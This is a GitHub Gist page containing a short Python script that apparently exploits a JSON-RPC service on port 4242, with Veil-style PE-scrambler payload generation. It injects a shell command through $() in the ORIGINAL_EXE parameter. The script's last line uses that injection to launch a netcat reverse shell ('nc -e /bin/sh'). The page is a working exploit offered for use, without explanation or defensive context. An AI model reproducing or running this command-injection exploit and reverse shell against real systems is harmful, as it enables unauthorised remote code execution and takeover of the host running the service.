Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
import socket
import json
def send_command(command, ip="127.0.0.1", port=4242):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print json.dumps(command)
s.send(json.dumps(command))
s.close()
def exploit_pescrambler(command, ip="127.0.0.1", port=4242):
send_command({"method": "generate", "params": ["payload=native/pe_scrambler", "outputbase=base", "pwnstaller=N", "ORIGINAL_EXE=$({0})".format(command), ], "id": 1}, ip, port)
exploit_pescrambler("nc -e /bin/sh 127.0.0.1 1234")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment